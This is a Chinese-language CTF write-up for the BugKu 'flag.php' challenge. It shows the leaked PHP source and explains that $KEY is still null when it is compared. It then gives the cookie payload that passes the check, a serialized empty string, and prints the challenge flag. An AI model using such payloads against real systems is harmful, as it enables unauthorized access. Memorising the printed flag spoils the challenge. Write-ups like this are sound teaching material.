BugKu - flag.php

flag.php

原题链接

http://120.24.86.145:8002/flagphp/

分析

一开始以为是sql注入,但是因为点击Login怎么都没用,于是知道不是sql注入。
结合提示,hint,想查看hint.txt但是没有,于是想到会不会是传参数,http://120.24.86.145:8002/flagphp/?hint=1得到源码。
接下来是代码审计:

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 

代码逻辑就是,传入一个cookie:ISecer,如果ISecer反序列化的结果和KEY相等,就弹出flag。

这里有一个坑,我一直以为,KEY指的是下面的$KEY='ISecer:www.isecer.com';
然后,用它做序列化。
但实际上,并不是,上面的代码不是用下面的KEY,这是两段!!!
上面的KEY=Null

构造序列化字符串

<?php
echo serialize('');
?>

结果
s:0:"";

但是需要注意的一点是,;要url转义。
最后payload为:

Cookie: ISecer=s:0:""%3B

flag

flag{unserialize_by_virink}

知识点

反序列化,hint传参算是积累了一点经验吧

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值